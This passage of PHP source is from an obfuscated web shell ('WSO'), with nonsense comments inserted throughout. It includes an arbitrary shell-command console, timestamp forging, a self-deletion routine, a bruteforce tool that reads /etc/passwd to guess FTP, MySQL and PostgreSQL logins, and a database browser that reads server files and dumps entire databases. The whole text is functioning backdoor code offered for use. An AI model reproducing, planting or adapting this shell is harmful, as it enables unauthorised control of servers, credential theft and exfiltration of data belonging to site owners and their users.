                if (!@rename($_POST['p1'], $_POST['p3'])) echo /* <Peter>:   ,   ! */
                'Can\'t rename!<br>'; else /* <Avon>:  ,      ! */
                die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
            }
            echo /* <Peter>:    ,     , , ,    ! */
                '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
            break;
        case /* <David Blaine>:  -, , ,     -  ... */
        'touch':
            if (!empty($_POST['p3'])) {
                $time = strtotime($_POST['p3']);
                if ($time) {
                    if (!touch($_POST['p1'], $time, $time)) echo /* <Peter>: ! */
                    'Fail!'; else /* <Avon>: , ,   ! */
                    echo /* <David Blaine>: ,   ,  ... */
                    'Touched!';
                } else /* <Avon>:    ! */
                echo /* <Peter>: ,    ,   ,   . */
                'Bad time format!';
            }
            clearstatcache();
            echo /* <Avon>:     ,   ! */
                '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
            break;
    }
    echo /* <David Blaine>:   , ? */
    '</div>';
    wsoFooter();
}

function /* <Peter>:     , , ,     ! */
actionConsole()
{
    if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
        __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
        $_POST['p1'] .= /* <Avon>: !  ! */
            ' 2>&1';
    } elseif (!empty($_POST['p1'])) __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', round(0));
    if (isset($_POST['ajax'])) {
        __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
        ob_start();
        echo /* <Peter>: !! */
        "d.cf.cmd.value='';
";
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ " . $_POST['p1'] . "
" . wsoEx($_POST['p1']), "

	\'"));
        if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
            if (@chdir($match[round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)])) {
                $GLOBALS['cwd'] = @getcwd();
                echo /* <Avon>:     ! */
                    "c_='" . $GLOBALS['cwd'] . "';";
            }
        }
        echo /* <Peter>: !!! */
            "d.cf.output.value+='" . $temp . "';";
        echo /* <Peter>:  , , ? ,    ,   ! */
        "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo /* <Avon>:     !     - !     ?  ,   !  ,  ! */
        strlen($temp), "
", $temp;
        exit;
    }
    if (empty($_POST['ajax']) && !empty($_POST['p1'])) __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', round(0));
    wsoHeader();
    echo /* <Peter>:      ! */
    "<script>
    if(window.Event) window.captureEvents(Event.KEYDOWN);
    var cmds = new Array('');
    var cur = 0;
    function kp(e) {
        var n = (window.Event) ? e.which : e.keyCode;
        if(n == 38) {
            cur--;
            if(cur>=0)
                document.cf.cmd.value = cmds[cur];
            else
                cur++;
        } else if(n == 40) {
            cur++;
            if(cur < cmds.length)
                document.cf.cmd.value = cmds[cur];
            else
                cur--;
        }
    }
    function add(cmd) {
        cmds.pop();
        cmds.push(cmd);
        cmds.push('');
        cur = cmds.length-1;
    }
</script>";
    echo /* <Avon>:      ! */
    '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
    foreach ($GLOBALS['aliases'] as /* <Peter>:    ,   ! */
             $n /* <David Blaine>: , , ,   ,   ... */
    => /* <Peter>:   ,     ! */
             $v) {
        if ($v /* <David Blaine>: , , , , . , ! */
            == /* <David Blaine>:        ,     . */
            ''
        ) {
            echo /* <David Blaine>:       ,      . */
                '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
            continue;
        }
        echo /* <Peter>:    ? */
            '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
    }
    echo /* <Avon>:     ! */
        '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
    if (!empty($_POST['p1'])) {
        echo /* <Peter>: ! ,   . */
        htmlspecialchars("$ " . $_POST['p1'] . "
" . wsoEx($_POST['p1']));
    }
    echo /* <David Blaine>:   ? */
    '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
    echo /* <Peter>:  , ... */
    '</form></div><script>d.cf.cmd.focus();</script>';
    wsoFooter();
}

function /* <Peter>:    ? */
actionLogout()
{
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - round(0 + 900 + 900 + 900 + 900));
    die('bye!');
}

function /* <Avon>:    . */
actionSelfRemove()
{
    if ($_POST['p1'] == /* <Peter>:      ,  ? */
        'yes'
    ) if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed'); else /* <David Blaine>:    ? */
    echo /* <Peter>:  . */
    'unlink error!';
    if ($_POST['p1'] != /* <David Blaine>: ...   ,  ,    ' ,   '. */
        'yes'
    ) wsoHeader();
    echo /* <Peter>:  ,  - ... */
    '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    wsoFooter();
}

function /* <David Blaine>:   ,  . */
actionBruteforce()
{
    wsoHeader();
    if (isset($_POST['proto'])) {
        echo /* <Avon>: -  - ... */
            '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
        if ($_POST['proto'] == /* <Peter>:    ,  ,  ...        .    - . */
            'ftp'
        ) {
            function /* <Avon>:     . */
            wsoBruteForce($ip, $port, $login, $pass)
            {
                $fp = @ftp_connect($ip, $port ? $port : round(0 + 21));
                if (!$fp) return /* <Peter>:     ,  ? */
                    false;
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return /* <Avon>:      . */
                    $res;
            }
        } elseif ($_POST['proto'] == /* <David Blaine>: < :>   .    . */
            'mysql'
        ) {
            function /* <Peter>:   !! */
            wsoBruteForce($ip, $port, $login, $pass)
            {
                $res = @mysql_connect($ip . ':' . ($port ? $port : round(0 + 1653 + 1653)), $login, $pass);
                @mysql_close($res);
                return /* <Avon>:     ?!!!! */
                    $res;
            }
        } elseif ($_POST['proto'] == /* <Avon>:       !! */
            'pgsql'
        ) {
            function /* <Peter>:   !!! */
            wsoBruteForce($ip, $port, $login, $pass)
            {
                $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                $res = @pg_connect($str);
                @pg_close($res);
                return /* <Peter>:    ,    -, ?!!! */
                    $res;
            }
        }
        $success = round(0);
        $attempts = round(0);
        $server = explode(":", $_POST['server']);
        if ($_POST['type'] == /* <Avon>: ,  ! */
            round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)
        ) {
            $temp = @file('/etc/passwd');
            if (is_array($temp)) foreach ($temp /* <Peter>: ,   , ,      ,   , ! */
                                          as /* <Peter>:  ,     ,    ! */
                                          $line) {
                $line = explode(":", $line);
                ++$attempts;
                if (wsoBruteForce(@$server[round(0)], @$server[round(0 + 1)], $line[round(0)], $line[round(0)])) {
                    $success++;
                    echo /* <Peter>:  , !    ! */
                        '<b>' . htmlspecialchars($line[round(0)]) . '</b>:' . htmlspecialchars($line[round(0)]) . '<br>';
                }
                if (@$_POST['reverse']) {
                    $tmp = "";
                    for ($i = strlen($line[round(0)]) - round(0 + 0.5 + 0.5); $i >= round(0); --$i) $tmp /* <Operator>:    ... */
                        .= /* <David Blaine>: ... */
                        $line[round(0)][$i];
                    ++$attempts;
                    if (wsoBruteForce(@$server[round(0)], @$server[round(0 + 0.25 + 0.25 + 0.25 + 0.25)], $line[round(0)], $tmp)) {
                        $success++;
                        echo /* <Peter>:    ! */
                            '<b>' . htmlspecialchars($line[round(0)]) . '</b>:' . htmlspecialchars($tmp);
                    }
                }
            }
        } elseif ($_POST['type'] == /* <Peter>:    !!! */
            round(0 + 2)
        ) {
            $temp = @file($_POST['dict']);
            if (is_array($temp)) foreach ($temp /* <=====end of part=====> */
                                          as /* <David Blaine>: ,   ... */
                                          $line) {
                $line = trim($line);
                ++$attempts;
                if (wsoBruteForce($server[round(0)], @$server[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)], $_POST['login'], $line)) {
                    $success++;
                    echo /* <David Blaine>: , ,   ,   */
                        '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                }
            }
        }
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
    }
    echo /* <Avon>: !! */
        '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
    echo /* <David Blaine>:   ? */
    '</div><br>';
    wsoFooter();
}

function /* <Peter>: ,  ! */
actionSql()
{
    class /* <Avon>: , !          !! */
    DbClass
    {
        var /* <Avon>:   ! */
            $type;
        var /* <Peter>:  ! .  ,   , , .   ,   ! */
            $link;
        var /* <Avon>: ..., ...   .   , ? */
            $res;

        function /* <David Blaine>:  .     ? */
        DbClass($type)
        {
            $this->type = $type;
        }

        function /* <Peter>:  ?  ! */
        connect($host, $user, $pass, $dbname)
        {
            switch ($this->type) {
                case /* <David Blaine>: , ...  , ? */
                'mysql':
                    if ($this->link = @mysql_connect($host, $user, $pass, true)) return /* <Peter>: ?   !..   !!  ? */
                        true;
                    break;
                case /* <Avon>:   ? */
                'pgsql':
                    $host = explode(':', $host);
                    if (!$host[round(0 + 1)]) $host[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)] = round(0 + 1358 + 1358 + 1358 + 1358);
                    if ($this->link = @pg_connect("host={$host[round(0)]} port={$host[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)]} user=$user password=$pass dbname=$dbname")) return /* <Peter>:    ,   -  ?? */
                        true;
                    break;
            }
            return /* <David Blaine>:    . */
                false;
        }

        function /* <Avon>:       ? */
        selectdb($db)
        {
            switch ($this->type) {
                case /* <Peter>:    ,  ,   ?       !    ! */
                'mysql':
                    if (@mysql_select_db($db)) return /* <Avon>:  .     ! - -,     ,  ? */
                        true;
                    break;
            }
            return /* <Avon>: , -   ,  ... ,     ,  !  ,  ! */
                false;
        }

        function /* <Peter>: ,       ,  - ,  ,  ,   ... */
        query($str)
        {
            switch ($this->type) {
                case /* <Peter>:    ,  ! ! */
                'mysql':
                    return /* <Avon>:   ,      !    ! */
                        $this->res = @mysql_query($str);
                    break;
                case /* <Peter>:   , ! */
                'pgsql':
                    return /* <Avon>: !   ... */
                        $this->res = @pg_query($this->link, $str);
                    break;
            }
            return /* <Peter>:  , -  ,       -!  !   !    ,      ,  ,  ! */
                false;
        }

        function /* <David Blaine>:  , , .    :     ,    ,      . */
        fetch()
        {
            $res = func_num_args() ? func_get_arg(round(0)) : $this->res;
            switch ($this->type) {
                case /* <Peter>:        ? ,    !   ! */
                'mysql':
                    return @mysql_fetch_assoc($res);
                    break;
                case /* <Avon>: !  ! -  - ! */
                'pgsql':
                    return @pg_fetch_assoc($res);
                    break;
            }
            return /* <Peter>:       ,   -?! */
                false;
        }

        function /* <Avon>:     ?   ??     -?!   !   !! ,    , ! */
        listDbs()
        {
            switch ($this->type) {
                case /* <David Blaine>:  . . */
                'mysql':
                    return /* <Peter>: ...... */
                        $this->query("SHOW databases");
                    break;
                case /* <Avon>:   ?  - ... ?   !  ? */
                'pgsql':
                    return /* <Peter>:    ,     ! */
                        $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                    break;
            }
            return /* <Avon>: ?      ! */
                false;
        }

        function /* <Peter>:    ,  ,   ,   ! */
        listTables()
        {
            switch ($this->type) {
                case /* <Peter>:     !  ,  -...     ! */
                'mysql':
                    return /* <Avon>:      ? */
                        $this->res = $this->query('SHOW TABLES');
                    break;
                case /* <Peter>:  ,   , ,    ,     ! */
                'pgsql':
                    return /* <Peter>:     , ??! */
                        $this->res = $this->query("SELECT table_name FROM information_schema.tables WHERE table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                    break;
            }
            return /* <Avon>:  ,   ! */
                false;
        }

        function /* <Peter>:    . */
        error()
        {
            switch ($this->type) {
                case /* <Avon>:  ? */
                'mysql':
                    return @mysql_error();
                    break;
                case /* <Avon>:  ...     , , ! */
                'pgsql':
                    return @pg_last_error();
                    break;
            }
            return /* <Peter>: , ,  ! , , ! - ! */
                false;
        }

        function /* <Policeman>: <to operator>  . */
        setCharset($str)
        {
            switch ($this->type) {
                case /* <Peter>:    ! */
                'mysql':
                    if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link); else /* <Avon>:  ,   ,    ! */
                    $this->query('SET CHARSET ' . $str);
                    break;
                case /* <Peter>:   - ! */
                'pgsql':
                    return @pg_set_client_encoding($this->link, $str);
                    break;
            }
            return /* <Policeman>: -.  ,   ? */
                false;
        }

        function /* <Avon>:   ,      ,   ,       , !   ,   ,  ? */
        loadFile($str)
        {
            switch ($this->type) {
                case /* <Policeman>: ,   ... <to David Blayne> , ,      . */
                'mysql':
                    return /* <Avon>: ! */
                        $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                    break;
                case /* <Peter>:     ,       ,      !   ,       ,            !!! */
                'pgsql':
                    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
                    $r = array();
                    while ($i = $this->fetch()) $r[] = $i['file'];
                    $this->query('DROP TABLE wso2');
                    return /* <Avon>:   ! */
                        array('file' => implode("
", $r));
                    break;
            }
            return /* <Peter>:   ! */
                false;
        }

        function /* <Avon>:        ,   ! */
        dump($table, $fp = false)
        {
            switch ($this->type) {
                case /* <Policeman>:  ...   .   . */
                'mysql':
                    $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                    $create = mysql_fetch_array($res);
                    $sql = $create[round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)] . ";
";
                    if ($fp) fwrite($fp, $sql); else /* <Peter>: ...r g u f a n... */
                    echo($sql);
                    $this->query('SELECT * FROM `' . $table . '`');
                    $i = round(0);
                    $head = true;
                    while ($item = $this->fetch()) {
                        $sql = '';
                        if ($i % round(0 + 1000) == /* <Avon>: Peter Peszynski */
                            round(0)
                        ) {
                            $head = true;
                            $sql = ";

";
                        }
                        $columns = array();
                        foreach ($item /* <Peter>:    ! */
                                 as /* <Peter>:   , ,      , ,  ,   ! */
                                 $k => $v) {
                            if ($v /* <Avon>:     ! */
                                === /* <David Blaine>: <in the policeman's suit> ...  ,      ... */
                                null
                            ) $item[$k] = "NULL"; elseif (is_int($v)) $item[$k] = $v; else /* <Peter>:    ,   !!! */
                            $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                            $columns[] = "`" . $k . "`";
                        }
                        if ($head) {
                            $sql /* <Peter>:   , !!!   ! */
                                .= /* <=====end of part=====> */
                                'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES 
	(" . implode(", ", $item) . ')';
                            $head = false;
                        } else /* <=====street magic=====> */
                        $sql /* <David Blaine>: ,   ... */
                            .= /* <Peter>: !! */
                            "
	,(" . implode(", ", $item) . ')';
                        if ($fp) fwrite($fp, $sql); else /* <Avon>: , ,  , ! */
                        echo($sql);
                        $i++;
                    }
                    if (!$head) if ($fp) fwrite($fp, ";

"); else /* <David Blaine>:   ,  . */
                    echo(";

");
                    break;
                case /* <David Blaine>:     ? */
                'pgsql':
                    $this->query('SELECT * FROM ' . $table);
                    while ($item = $this->fetch()) {
                        $columns = array();
                        foreach ($item /* <Avon>:   ,  -? , ! */
                                 as /* <Peter>:    , ,   , ! */
                                 $k => $v) {
                            $item[$k] = "'" . addslashes($v) . "'";
                            $columns[] = $k;
                        }
                        $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
";
                        if ($fp) fwrite($fp, $sql); else /* <David Blaine>:    ? */
                        echo($sql);
                    }
                    break;
            }
            return /* <Peter>:     ! */
                false;
        }

        function /* <Avon>:    ,     . */
        dump_columns($table, $columns, $fp = false)
        {
            switch ($this->type) {
                case /* <David Blaine>:   ? */
                'mysql':
                    $sql = "--";
                    if ($fp) fwrite($fp, $sql); else /* <Avon>:    ,     ! */
                    echo($sql);
                    $this->query('SELECT ' . implode(', ', $columns) . ' FROM `' . $table . '`');
                    $i = round(0);
                    $head = true;
                    while ($item = $this->fetch()) {
                        $sql = '';
                        if ($i % round(0 + 500 + 500) == /* <Peter>:  ! */
                            round(0)
                        ) {
                            $head = true;
                            $sql = ";

";
                        }
                        $columns = array();
                        foreach ($item /* <David Blaine>: ...   ,      ,  ? */
                                 as /* <Avon>: ,  ! */
                                 $k => $v) {
                            if ($v /* <Avon>:  !! */
                                === /* <Peter>:   ! */
                                null
                            ) $item[$k] = "NULL"; elseif (is_int($v)) $item[$k] = $v; else /* <Peter>: ,   -, ?! */
                            $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                            $columns[] = "`" . $k . "`";
                        }
                        if ($head) {
                            $sql /* <Avon>:   ? */
                                .= /* <Peter>: ,   ,   ,    ?   ,   !   , ! */
                                'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES 
	(" . implode(", ", $item) . ')';
                            $head = false;
                        } else /* <Avon>:   48 , ,    !  ? */
                        $sql /* <Peter>: ,    ! */
                            .= /* <Avon>:   ??? ? */
                            "
	,(" . implode(", ", $item) . ')';
                        if ($fp) fwrite($fp, $sql); else /* <Peter>:    !!! */
                        echo($sql);
                        $i++;
                    }
                    if (!$head) if ($fp) fwrite($fp, ";

"); else /* <Avon>:     ! */
                    echo(";

");
                    break;
                case /* <Peter>:    ! */
                'pgsql':
                    $this->query('SELECT ' . implode(', ', $columns) . ' FROM ' . $table);
                    while ($item = $this->fetch()) {
                        $columns = array();
                        foreach ($item /* <Avon>: ,   ,  ! */
                                 as /* <Peter>: , , ? */
                                 $k => $v) {
                            $item[$k] = "'" . addslashes($v) . "'";
                            $columns[] = $k;
                        }
                        $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
";
                        if ($fp) fwrite($fp, $sql); else /* <Avon>:  ,      ! */
                        echo($sql);
                    }
                    break;
            }
            return /* <David Blaine>: . ,   ? */
                false;
        }
    }

    ;
    $db = new /* <Peter>:    ! ,   ?  - ! */
    DbClass($_POST['type']);
    if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
        $db->selectdb($_POST['sql_base']);
        switch ($_POST['charset']) {
            case /* <David Blaine>:  ?  -  ? */
            "Windows-1251":
                $db->setCharset('cp1251');
                break;
            case /* <Peter>:   ?  , ? */
            "UTF-8":
                $db->setCharset('utf8');
                break;
            case /* <Peter>: !!! -! */
            "KOI8-R":
                $db->setCharset('koi8r');
                break;
            case /* <Peter>: !!! ! ! ! */
            "KOI8-U":
                $db->setCharset('koi8u');
                break;
            case /* <Peter>:   ?    ,   ? */
            "cp866":
                $db->setCharset('cp866');
                break;
        }
        if (empty($_POST['file'])) {
            ob_start("ob_gzhandler", round(0 + 2048 + 2048));
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            if (empty($_POST['columns'])) foreach ($_POST['tbl'] as /* <Avon>:      ! */
                                                   $v) $db->dump($v); else /* <Peter>:   ,   ! */
            $db->dump_columns($_POST['table'], $_POST['columns']);
            exit;
        } elseif ($fp = @fopen($_POST['file'], 'w')) {
            if (empty($_POST['columns'])) {
                foreach ($_POST['tbl'] as /* <Avon>:  ,      ! */
                         $v) $db->dump($v, $fp);
            } else {
                $db->dump_columns(is_array($_POST['tbl']) ? $_POST['tbl'][round(0)] : $_POST['tbl'], $_POST['columns'], $fp);
            }
            fclose($fp);
            unset($_POST['p2']);
        } else /* <Peter>:    ,     , , ,    ! */
        die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
    }
    wsoHeader();
    echo /* <David Blaine>:  -, , ,     -  ... */
        "
                                                                                                                                                                                                                                                                                                                                            <h1>Sql browser</h1><div class=content>
                                                                                                                                                                                                                                                                                                                                                <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
                                                                                                                                                                                                                                                                                                                                                            <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
                                                                                                                                                                                                                                                                                                                                                            <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
                                                                                                                                                                                                                                                                                                                                                            <td><select name='type'><option value='mysql' ";
    if (@$_POST['type'] == 'mysql') echo /* <Peter>: ! */
    'selected';
    echo /* <Avon>: , ,   ! */
    ">MySql</option><option value='pgsql' ";
    if (@$_POST['type'] == 'pgsql') echo /* <David Blaine>: ,   ,  ... */
    'selected';
    echo /* <Avon>:    ! */
        ">PostgreSql</option></select></td>
                                                                                                                                                                                                                                                                                                                                                            <td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
                                                                                                                                                                                                                                                                                                                                                            <td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
                                                                                                                                                                                                                                                                                                                                                            <td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
    $tmp = "<input type=text name=sql_base value=''>";
    if (isset($_POST['sql_host'])) {
        if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
            switch ($_POST['charset']) {
                case /* <Peter>: ,    ,   ,   . */
                "Windows-1251":
                    $db->setCharset('cp1251');
                    break;
                case /* <Avon>:     ,   ! */
                "UTF-8":
                    $db->setCharset('utf8');
                    break;
                case /* <David Blaine>:   , ? */
                "KOI8-R":
                    $db->setCharset('koi8r');
                    break;
                case /* <Peter>:     , , ,     ! */
                "KOI8-U":
                    $db->setCharset('koi8u');
                    break;
                case /* <Avon>: !  ! */
                "cp866":
                    $db->setCharset('cp866');
                    break;
            }
            $db->listDbs();
            echo /* <Peter>: !! */
            "<select name=sql_base><option value=''></option>";
            while ($item = $db->fetch()) {
                list($key, $value) = each($item);
                echo /* <Avon>:     ! */
                    '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
            }
            echo /* <Peter>: !!! */
            '</select>';
        } else /* <Peter>:  , , ? ,    ,   ! */
        echo /* <Avon>:     !     - !     ?  ,   !  ,  ! */
        $tmp;
    } else /* <Peter>:      ! */
    echo /* <Avon>:      ! */
    $tmp;
    echo /* <Peter>:    ,   ! */
        "</td>
                                                                                                                                                                                                                                                                                                                                                            <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                                                                                                                                                                                                                                                                                                                                                            <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
                                                                                                                                                                                                                                                                                                                                                        </tr>
                                                                                                                                                                                                                                                                                                                                                    </table>
                                                                                                                                                                                                                                                                                                                                                    <script>
                                                                                                                                                                                                                                                                                                                                                        s_db='" . @addslashes($_POST['sql_base']) . "';
                                                                                                                                                                                                                                                                                                                                                        function fs(f) {
                                                                                                                                                                                                                                                                                                                                                            if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                                                                                                                                                                                                                                                                                                                                                                if(f.p1) f.p1.value='';
                                                                                                                                                                                                                                                                                                                                                                if(f.p2) f.p2.value='';
                                                                                                                                                                                                                                                                                                                                                                if(f.p3) f.p3.value='';
                                                                                                                                                                                                                                                                                                                                                            }
                                                                                                                                                                                                                                                                                                                                                        }
                                                                                                                                                                                                                                                                                                                                                        function st(t,l) {
                                                                                                                                                                                                                                                                                                                                                            d.sf.p1.value = 'select';
                                                                                                                                                                                                                                                                                                                                                            d.sf.p2.value = t;
                                                                                                                                                                                                                                                                                                                                                            if(l && d.sf.p3) d.sf.p3.value = l;
                                                                                                                                                                                                                                                                                                                                                            d.sf.submit();
                                                                                                                                                                                                                                                                                                                                                        }
                                                                                                                                                                                                                                                                                                                                                        function is() {
                                                                                                                                                                                                                                                                                                                                                            for(i=0;i<d.sf.elements['tbl[]'].length;++i)
                                                                                                                                                                                                                                                                                                                                                                d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
                                                                                                                                                                                                                                                                                                                                                        }
                                                                                                                                                                                                                                                                                                                                                    </script>";
    if (isset($db) && /* <David Blaine>: , , ,   ,   ... */
        $db->link
    ) {
        echo /* <Peter>:   ,     ! */
        "<br/><table width=100% cellpadding=2 cellspacing=0>";
        if (!empty($_POST['sql_base'])) {
            $db->selectdb($_POST['sql_base']);
            echo /* <David Blaine>: , , , , . , ! */
            "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
            $tbls_res = $db->listTables();
            while ($item = $db->fetch($tbls_res)) {
                list($key, $value) = each($item);
                if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                $value = htmlspecialchars($value);
                echo /* <David Blaine>:        ,     . */
                    "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
            }
            echo /* <David Blaine>:       ,      . */
            "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
            if (@$_POST['p1'] == /* <Peter>:    ? */
                'select'
            ) {
                $_POST['p1'] = 'query';
                $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333);
                $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                $num = $db->fetch();
                $pages = ceil($num['n'] / round(0 + 10 + 10 + 10));
                echo /* <Avon>:     ! */
                    "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                echo " of $pages";
                if ($_POST['p3'] > round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)) echo /* <Peter>: ! ,   . */
                    " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)) . ")'>&lt; Prev</a>";
                if ($_POST['p3'] < $pages) echo /* <David Blaine>:   ? */
                    " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + round(0 + 0.5 + 0.5)) . ")'>Next &gt;</a>";
                $_POST['p3']--;
                if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * round(0 + 30)); else /* <Peter>:  , ... */
